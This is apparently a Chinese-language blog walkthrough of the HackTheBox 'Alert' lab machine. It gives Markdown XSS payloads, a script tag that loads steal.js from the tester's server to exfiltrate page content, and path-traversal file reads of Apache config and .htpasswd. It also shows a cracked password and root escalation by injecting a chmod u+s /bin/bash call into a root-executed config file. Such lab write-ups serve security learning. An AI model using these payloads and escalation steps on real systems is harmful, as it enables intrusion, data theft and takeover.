🗒️HTB Alert实战(攻)
2025-7-5
| 2025-7-6
字数 1812阅读时长 5 分钟
type
status
date
slug
summary
tags
category
icon
password
😀
靶机难度:easy

外网渗透

nmap 10.10.11.44
notion image
访问80端口,看上去像框架
notion image
md文件xss概率大,传一个看看,有弹窗,能分享其实就满足了利用条件
[a](javascript:prompt(document.cookie)) 213123
notion image
后端看上传接口,校验了后缀md,通过其他fuzz插件也没发现可以上传的方式
notion image
点击页面的Share Markdown,抓到一个包,看入参猜测可能存在命令执行/目录遍历
notion image
link_share:
  • xxxxxxxxxx 显示 Error: Invalid file name. 这意思可能存在文件包含,但是尝试index.php和visualizer.php显示没文件名
  • ../../../../../../etc/passwd和/etc/passwd都显示 Error: Invalid file name.可能是权限问题,读不到根目录 ./68687d……md显示Error: Invalid file name.
  • 命令执行 fuzz失败
  • php伪协议失败,http协议失败
 
因此,只能考虑框架漏洞配合上传功能,因为网站其他功能都与文件系统无交互。
deepseek给出的漏洞都利用失败啦。如果利用的话也就只能用xss了,但是这网站没有登录,也不知道后台在哪,xss rce也不现实。
 
所以只能扫描找网站后台了。敏感文件+子域名 扫描
选一个php字典,好的,啥也没扫到,大概率又是扫描太快,靶机难反应,唉
notion image
扫子域名吧,找到一个,访问看看呢
gobuster vhost -u http://alert.htb -w SubDomain.txt --append-domain | findstr /v "301 302"
notion image
http://statistics.alert.htb/ 没账密,需要找账密
notion image
找敏感文件找到了但是没权限,估计得用xss读这个文件内容呢,xss不能读文件,得找文件读取类或ssrf的漏洞。但是此时已经没任何页面资源可测了
notion image
总结以上收获:xss漏洞 + 无账密的页面。没思路了,看wp了
wp扫出了这些文件,额,tscanplus的字典有,但就是扫不到,只能归于靶机问题了
notion image
访问messages.php看看,搜索一下,表示请求已处理但响应不变
notion image
notion image
但是不理解204跟渗透的关系,问问ai呢,一种是隐藏信息,一种是缓存欺骗
notion image
notion image
隐藏信息说明 其他权限的用户访问可能不隐藏信息。
缓存欺骗纯搞破坏了,拿不到任何权限和数据。
所以此处就是 Markdown xss+后台用户访问这个http://alert.htb/messages.php,并且响应肯定是要外带出来的。
确定一个可发起请求的xss payload
notion image
notion image
没问题,本地开一个4444端口,试试:<img src="http://10.10.16.3:4444/"/>
notion image
notion image
外带的操作没有做过,不是很懂,试了好几个都不行,所以直接用WP的代码了
最后发现当<script src="http://your-server/steal.js"></script> ,steal.js代码才会执行。
<img src="http://xxx/steal.js"> steal.js时,代码是不会执行的。
notion image
访问如上的php代码时,发现存在一个file参数,很明显大概率文件读取
notion image
看访问是204,应该是还得通过xss,看到有俩个用户
notion image
肯定是要通过ssh连接上一个的,想读http://statistics.alert.htb/.htpasswd泄露的内容,但是好像没有权限,根本xss拿不到信息,所以只能找网站根目录了,问问ai(此处网站是apache2.4.15,直接在wappallyer看出来)
notion image
尝试通过报错拿绝对路径../../../../../../non_existent_file 服务端返回<pre></pre>
尝试通过配置文件拿/etc/apache2/apache2.conf 服务端返回<pre></pre>
尝试通过/etc/apache2/sites-enabled/000-default.conf 拿到了
找到路径/var/www/statistics.alert.htb/.htpasswd
通过xss+任意文件读取
<pre>albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/ </pre>
看上去是用john或hashcat爆破(john最后没爆出来,不知道为啥)
hashcat -d 1 -a 0 hashcat_hash.txt rockyou.txt
自动识别到加密方式,推荐了-m 1600
notion image
hashcat -d 1 -m 1600 -a 0 hashcat_hash.txt rockyou.txt
notion image
账密albert manchesterunited 登录后台,啥也没有
notion image
/etc/passwd 之前本身就三个用户albert david root
正好这个密码可以试试连接,拿到第一个flag
notion image

内网提权

sudo无权限;SUID无命令;python提权无权限;内核2024的太新了,没找到能提权的;计划任务里的sh文件没有找到有权限编辑的;
 
测试俩种逻辑类的提权:
第一种找框架命令执行:
查找root运行的项目:/opt /usr /mnt /home 下都看,此处看到了/opt
ps -ef | grep '^root'| grep /opt
notion image
看名字是网站监控,要监控项目的状态,总得执行ps类的命令吧,直接递归查找危险字段呢
find /opt -regextype posix-extended -regex '.*\.(properties|xml|cnf|yml|ini|sh|conf|env|json|php)' -type f -print0 2>/dev/null | xargs -0 -P 4 egrep -iH -- 'system|exec|bash' 2>/dev/null
notion image
果然找到俩行,那么它执行命令,如果它的属主为root的话,我通过这些代码执行的命令就借用了root的权限,等同于提权,ls -l查一下属主,果然是root
notion image
此时需要思考的就是传参接口,上面的图已经说明运行在127.0.0.1:8080,实在看不懂可以找配置文件看。访问的话需要做端口转发,此时有点懒得做了,直接看git项目,让ai找接口了。
直接问deepseek:寻找github中website-monitor框架如何执行命令
好吧,以下情况没执行成功,懒得搭建了,试另一个思路
notion image
 
第二种借用身份:
  1. 查找有写权限的目录
find /opt -writable -type d 2>/dev/null
notion image
2.查找这个目录有没有被root启动的进程
ps -ef | grep '^root'|grep /opt
notion image
notion image
  1. 进入目录,ls -a看看哪个文件能修改,只有一个文件,有修改权限,正好是配置文件,试试修改了等到系统重载配置应该会执行的
notion image
  1. system("chmod u+s /bin/bash"); 加入执行,成功提权(碰碰运气嘞)
notion image

WP提权的思路

直接查看进程netstat -tulnp,找到8080项目
notion image
直接端口转发到本地,下图这样就是转发成功了
ssh albert@alert.htb -L 8080:127.0.0.1:8080
notion image
通过pspy监控进程的文件执行情况,这就太方便了,以前没见过,不过转发好像就显得没那么重要了,只要把这个监控工具传到靶机上就行。UID=0表示root执行
notion image
notion image
notion image
通过监控发现root每隔三四秒就会执行一次configuration.php,于是查找是否能编辑
后面的步骤与第二种借用身份的提权相同。
  • 靶机学习
  • JsRPC yakit热加载HTB TwoMillion实战(攻)
    Loading...